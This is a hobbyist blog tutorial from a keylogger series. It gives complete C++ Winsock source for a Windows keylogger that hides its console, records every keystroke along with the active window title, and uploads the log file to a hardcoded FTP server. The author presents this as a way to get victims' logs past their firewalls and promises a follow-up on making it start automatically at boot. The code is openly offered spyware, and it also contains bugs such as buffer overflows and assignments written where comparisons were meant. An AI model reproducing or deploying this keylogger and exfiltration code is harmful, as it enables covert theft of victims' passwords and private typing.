SUBSCRIBE, the link is to your right!
Anyway, I know its been a long time since my last post, but with good cause! I have finally put together a way for you to upload your logs to an ftp server without fail and which bypasses any firewall restrictions that the victim's computer may have!
Also, know that this post could stand alone to the other keylogger tutorials but if you want to use this code in those logger, I suggest you read them too.
So lets get started with this tutorial. Firstly what is FTP.
Well, ftp is short for file transfer protocol and is a tcp or udp layer protocol which is used for transferring data. If you want more information about the history of the protocol, or even otherwise, I strongly suggest you read en.wikipedia.org/wiki/FTP
Anyway moving on, so how does FTP work? Well, FTP names a specific connection between a client and a server, and the specific commands and data signatures that are sent between them.
In order to make this program I had to read through the FTP RFC, a documentation by researchers and founders of the protocol. Google "RFC 959" for more information. Anyway, the basics are that the client has to communicate with the server in a very distinct way. I've laid it out below in normal language and then in FTP command language.
CHATROOM FTPSUCKSJUSTKIDDING OPENED
Client connects to server
Client: Here is my username.
Server: Oh, nice username, okay the username has been set, enter your password.
Client: K, here's my password.
Server: Good Job, thats the right password, you are now connected OR you phail, thats the wrong password.
Assuming the password is correct.....
Client: Okay so now im going to send a image file to you, like .exe or .txt okay?
Server: Okay, connect to me on <000,00,000,000,10,4>
Client: Okay ill connect to you on ip 000.00.000.000 on port 2564 because 10*256+4 is 2564
Client: Okay now imma send some data and i need you to store it as data.txt in the /data folder
Server2: -_-
Client opens second connection to Server2
Client sends data
Client: Okay we are done, imma go now bye!
Client leaves the chatroom
Enough of that childish bs ;] , now for some real commands, notice how they are so much shorter and notice that the server never checks the integrity of the file.
Client Connects to server
Client: "USER username\r\n"
Server: 331 Username set to "username"
Client: "PASS password\r\n"
Server: 203 Password Correct you are now connected
Client: "TYPE I\r\n"
Server: 200 File set to binary aka image
Client: "PASV\r\n"
Server: 227 Passive Mode entered <100,10,100,100,10,4>
Client: "STOR data.txt\r\n"
Client Opens new connection to server 2
Client Sends Data
Client Leaves
Note the different messages that the server sends back, we will use them in error checking.
So, all we have to do for our upload feature, is to send data in this format to the server and have it save it, and the firewall will never know because its an outward connection! Well, not just that, we will get into more reasons why this works on firewalls later.
Anyway, I bet many of you guys are like whoa there slow down. How do I get an ftp server, well the easiest way for you noobs (Just Kidding) would be to get one from the free webhosting site tripod.com. The name of your ftp server will be ftp.tripod.com. Your username will be your username, and your password will be your password that you set!
You will also need someway to access your ftp server. I suggest that you download FireFTP or FileZilla to manage your server and so that you can see if the following code works!
Simple right?
So anyway, after thats done, lets create a small test file in our C:\ folder that we can upload and just for compatibility lets name it test.txt. Open the text file and copy and paste something whatever you want, but make sure the file has something in it.
Okay, now we are ready to start coding, almost! For this program we will be using sockets to send our file because thats the only way to send it without alerting the firewall. If you guys are not worried about firewalls, I would suggest you just use the wininet library for FTP which makes life much easier but more painful when you realize your files arent getting sent.
A good source for help with the wininet functions is here and for specific functions use the same page just navigate to the wininet functions tab or just click on the links. Comment if you need any help and I can send you the wininet code!
Well, we want to do it the boss way, so we will learn winsock or actually winsock2.
Winsock is a set of windows api for socket programming. A socket is a connection. I really suggest that you know some winsock before coming in, either buy a book, or read this tutorial
like this one http://www.madwizard.org/programming/tutorials/netcpp/.
In addition before we start coding, we have to link against winsock. For those of you using devc++ its project, compile options, linkers and then in that box add -lws2_32 which links you against winsock!
Okay, now, lets first make some base functions that we will need. Im going to keep this long and tedious because I know a lot of you cannot object orient your programs which means that I wont either, if you want an object oriented approach to this simple program, just email me.
In addition, also add these in your header if they arent there already:
#include <string>
#include <winsock.h>
#include <windows.h>
#include <sstream>
#include <iostream>
#include <stdio.h>
#include <cstdlib>
Anyway, moving on, remember that the server sends us back the ip to connect to? Well, it sends it in string format, atleast it is in string format after we separate this. Yes, I know we are getting a little ahead of ourselves but we have to create a function that can change the separated strings into integers. For that we use iostreams.
Here is the function, I wont go into explaining it because you can look it up on the web and we have a lot to cover. Furthermore, its pretty self explanatory.
void stringtoint(const string &s, int &i){
istringstream myStream(s);
myStream>>i;
}
One thing that you should not though is the way we were able to modify the parameters within the function. This is due to something very useful called pointers, and you should learn about them if you dont know already.
Moving on, now comes the main part, if you read that winsock tutorial you should be able to follow along. I am going to give you the code for main and then explain it after, dont worry if you have any questions, and remember if I leave anything unexplained dont be afraid to comment and ask about it.
Also note that I havent done any error checking so you better hope it works ;]. It should but its always good to do some error checking, and I want you, the reader to have a shot at it. Be sure to send me your implementation and I will publish it alongside mine in the next or maybe the post after that one.
#include <string>
#include <winsock.h>
#include <windows.h>
#include <sstream>
#include <iostream>
#include <stdio.h>
#include <cstdlib>
using namespace std;
void stringtoint(const string &s, int &i){
istringstream myStream(s);
myStream>>i;
}
void sendLogIn(SOCKET _LSoc){
char userbuffer[] = "Your Username Here"; //PUT YOUR USERNAME AND PASSWORD IN THE USERBUFFER
char passbuffer[] = "Your Password Here"; //AND PASSBUFFER VARIABLES NOT ANYWHERE ELSE
char username[] = "USER ";
char password[] = "PASS ";
char servermessage[1000];
strcat(username, userbuffer);
strcat(username, "\r\n");
send(_LSoc, username, strlen(username), 0);
Sleep(1000);
recv(_LSoc, servermessage, 1000, 0);
strcat(password, passbuffer);
strcat(password, "\r\n");
send(_LSoc, password, strlen(password), 0);
Sleep(1000);
recv(_LSoc, servermessage, 1000, 0);
}
int sendConnInfo(SOCKET _CSoc){
char servermessage[10000];
char ftpmessage[50];
string message;
string portbuffer;
string port1;
string port2;
size_t position;
size_t position2;
int port;
int portbuf;
int _portbuf;
send(_CSoc, "TYPE I\r\n", 8, 0);
Sleep(1000);
recv(_CSoc, servermessage, 10000, 0);
Sleep(1000);
Sleep(1000);
send(_CSoc, "PASV\r\n", 6, 0);
Sleep(1000);
recv(_CSoc, ftpmessage, 50, 0);
message = ftpmessage;
position = message.find("Mode");
portbuffer = message.substr(position+21);
position = portbuffer.find(",");
position2 = portbuffer.find(">");
port1 = portbuffer.substr(0, position);
port2 = portbuffer.substr(position+1, position2-1);
stringtoint(port1, portbuf);
stringtoint(port2, _portbuf);
port = portbuf*256;
port = port + _portbuf;
return port;
}
void sendFileRequest(SOCKET _FSoc){
send(_FSoc, "STOR test.txt\r\n", strlen("STOR test.txt\r\n"), 0);
Sleep(1000);
}
BOOL ftpSocket(int port){
SOCKET sock;
SOCKADDR_IN pasvserver;
char servermessage[MAX_PATH];
HANDLE HFile;
DWORD read;
char *buffer;
char filename[] = "C:\\test.txt";
int connectionerror2;
int trycount2 = 2;
sock = socket(2, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET){
WSACleanup();
return 0;
}
pasvserver.sin_family = 2;
pasvserver.sin_port = htons(port); //htons converts the port into a readable form for the SOCKADDR_IN structure
pasvserver.sin_addr.s_addr = inet_addr("209.202.252.54"); //Once again the tripod ftp server
connectionerror2 = connect(sock, (LPSOCKADDR)&pasvserver, sizeof(struct sockaddr));
while(connectionerror2 == SOCKET_ERROR){
connectionerror2 = connect(sock, (LPSOCKADDR)&pasvserver, sizeof(struct sockaddr));
trycount2++;
if(trycount2 = 10){
closesocket(sock);
WSACleanup();
return 0;
}
}
HFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
buffer = (char *)malloc(4096);
SetFilePointer(HFile, 0, NULL, FILE_BEGIN);
while(ReadFile(HFile, buffer, 4096, &read, NULL) && read > 0){
send(sock, buffer, read, 0);
}
return true;
}
int sendFile(){
FreeConsole();
WSAData WData;
SOCKET FSoc;
SOCKADDR_IN server;
int connectionerror;
int trycount = 2;
char servermessage[MAX_PATH];
int port;
WSAStartup(MAKEWORD(2,2), &WData);
FSoc = socket(2, SOCK_STREAM, IPPROTO_TCP);
if(FSoc == INVALID_SOCKET){
WSACleanup();
return 0;
}
server.sin_family = 2;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("209.202.252.54"); //this is the tripod ftp server address. You can change it if you arent
//using the tripod ftp server.
connectionerror = connect(FSoc, (LPSOCKADDR)&server, sizeof(struct sockaddr));
while(connectionerror == SOCKET_ERROR){
connectionerror = connect(FSoc, (LPSOCKADDR)&server, sizeof(struct sockaddr));
trycount++;
if(trycount = 10){
closesocket(FSoc);
WSACleanup();
return 0;
}
}
recv(FSoc, servermessage, sizeof(servermessage),0);
sendLogIn(FSoc);
Sleep(1000); //give the server and the client sometime to deal with the influx of new messages
//so that data for the ip doesnt get mixed up.
port = sendConnInfo(FSoc);
sendFileRequest(FSoc);
ftpSocket(port);
WSACleanup();
return 0;
}
OMG OMG OMG OMG OMG OMG WHAT IS THAT!
Yes, I know whats going through your mind but its really not that complicated. Before I start explaining, make sure you read the server client conversation above once more. So lets start with the main, basically we initialize a new Winsock session. We then create a socket in that session. Then we use the SOCKADDR_IN structure to assign some very important connection information and then to connect to the server!.
Whats the while loop next? you may ask. Well, its just to make sure that our program doesn't spend forever attempting to connect to the server and that it gives up after a while =).
Okay, so then we have some function calls. Also note that all the Sleeps are just to make sure that the server has finished sending all the data for that call, otherwise, (you would see this if you error checked), the responses from the server get really, really mixed up.
Moving on, now that we are connected we have our first function call, sendLogIn which sends the password and the username to the connection specified by the Socket handle FSoc. Note that in sendLogIn and all the other functions, all the data is sent in that specific way. You have to change the values of the first two variables in sendlogin to specify your username and password! Please dont comment related to that.
Okay, next we have sendConnInfo which uses the string conversion to return a port for our next, next method to use.
Okay, next we have sendFileRequest which issues a store request to the socket specified by FSoc to store whatever data is coming in in the file test.txt in the default folder.
So ftpSocket() is basically the same as main, except that it connects to the server on a different port which sendConnInfo parsed and returned. However at the end of it, it sends the data to the server, which knows that it has to store it, AND IT DOES.
Now whip up fireftp and see if it worked!
In the end we issue a cleanup WSACleanup(); and then we end our program!
Well, that was awesome right! How about we put it into our keylogger.
Remember, if you have any problems, compliments, questions, comments etc. BE SURE TO COMMENT AND SUBSCRIBE!
Especially if it doesnt compile or work because it should.
Tune in next time for instructions on how to make this keylogger run everytime the user starts up their machine!
WARNING:
MESSY CODE BELOW ;]
-----------------------------------------------------------------------------------
#include <string>
#include <winsock.h>
#include <windows.h>
#include <sstream>
#include <iostream>
#include <stdio.h>
#include <cstdlib>
using namespace std;
void stringtoint(const string &s, int &i){
istringstream myStream(s);
myStream>>i;
}
void sendLogIn(SOCKET _LSoc){
char userbuffer[] = "Your Username Here"; //PUT YOUR USERNAME AND PASSWORD IN THE USERBUFFER
char passbuffer[] = "Your Password Here"; //AND PASSBUFFER VARIABLES NOT ANYWHERE ELSE
char username[] = "USER ";
char password[] = "PASS ";
char servermessage[1000];
strcat(username, userbuffer);
strcat(username, "\r\n");
send(_LSoc, username, strlen(username), 0);
Sleep(1000);
recv(_LSoc, servermessage, 1000, 0);
strcat(password, passbuffer);
strcat(password, "\r\n");
send(_LSoc, password, strlen(password), 0);
Sleep(1000);
recv(_LSoc, servermessage, 1000, 0);
}
int sendConnInfo(SOCKET _CSoc){
char servermessage[10000];
char ftpmessage[50];
string message;
string portbuffer;
string port1;
string port2;
size_t position;
size_t position2;
int port;
int portbuf;
int _portbuf;
send(_CSoc, "TYPE I\r\n", 8, 0);
Sleep(1000);
recv(_CSoc, servermessage, 10000, 0);
Sleep(1000);
Sleep(1000);
send(_CSoc, "PASV\r\n", 6, 0);
Sleep(1000);
recv(_CSoc, ftpmessage, 50, 0);
message = ftpmessage;
position = message.find("Mode");
portbuffer = message.substr(position+21);
position = portbuffer.find(",");
position2 = portbuffer.find(">");
port1 = portbuffer.substr(0, position);
port2 = portbuffer.substr(position+1, position2-1);
stringtoint(port1, portbuf);
stringtoint(port2, _portbuf);
port = portbuf*256;
port = port + _portbuf;
return port;
}
void sendFileRequest(SOCKET _FSoc){
send(_FSoc, "STOR storekey.txt\r\n", strlen("STOR storekey.txt\r\n"), 0);
Sleep(1000);
}
BOOL ftpSocket(int port){
SOCKET sock;
SOCKADDR_IN pasvserver;
char servermessage[MAX_PATH];
HANDLE HFile;
DWORD read;
char *buffer;
char filename[] = "C:\\storekey.txt";
int connectionerror2;
int trycount2 = 2;
sock = socket(2, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET){
WSACleanup();
return 0;
}
pasvserver.sin_family = 2;
pasvserver.sin_port = htons(port); //htons converts the port into a readable form for the SOCKADDR_IN structure
pasvserver.sin_addr.s_addr = inet_addr("209.202.252.54"); //Once again the tripod ftp server
connectionerror2 = connect(sock, (LPSOCKADDR)&pasvserver, sizeof(struct sockaddr));
while(connectionerror2 == SOCKET_ERROR){
connectionerror2 = connect(sock, (LPSOCKADDR)&pasvserver, sizeof(struct sockaddr));
trycount2++;
if(trycount2 = 10){
closesocket(sock);
WSACleanup();
return 0;
}
}
HFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
buffer = (char *)malloc(4096);
SetFilePointer(HFile, 0, NULL, FILE_BEGIN);
while(ReadFile(HFile, buffer, 4096, &read, NULL) && read > 0){
send(sock, buffer, read, 0);
}
return true;
}
int sendFile(){
FreeConsole();
WSAData WData;
SOCKET FSoc;
SOCKADDR_IN server;
int connectionerror;
int trycount = 2;
char servermessage[MAX_PATH];
int port;
WSAStartup(MAKEWORD(2,2), &WData);
FSoc = socket(2, SOCK_STREAM, IPPROTO_TCP);
if(FSoc == INVALID_SOCKET){
WSACleanup();
return 0;
}
server.sin_family = 2;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("209.202.252.54"); //this is the tripod ftp server address. You can change it if you arent
//using the tripod ftp server.
connectionerror = connect(FSoc, (LPSOCKADDR)&server, sizeof(struct sockaddr));
while(connectionerror == SOCKET_ERROR){
connectionerror = connect(FSoc, (LPSOCKADDR)&server, sizeof(struct sockaddr));
trycount++;
if(trycount = 10){
closesocket(FSoc);
WSACleanup();
return 0;
}
}
recv(FSoc, servermessage, sizeof(servermessage),0);
sendLogIn(FSoc);
Sleep(1000); //give the server and the client sometime to deal with the influx of new messages
//so that data for the ip doesnt get mixed up.
port = sendConnInfo(FSoc);
sendFileRequest(FSoc);
ftpSocket(port);
WSACleanup();
return 0;
}
string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}
void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
storekey.close;
}
void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
storekey.close;
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}
int main(){
sendFile();
Logger();
return 1;
}
---------------------------------------------------------------------------------
Remember, if you have any problems, compliments, questions, comments etc. BE SURE TO COMMENT AND SUBSCRIBE!
Especially if it doesnt compile or work because it should.
Tune in next time for instructions on how to make this keylogger run everytime the user starts up their machine!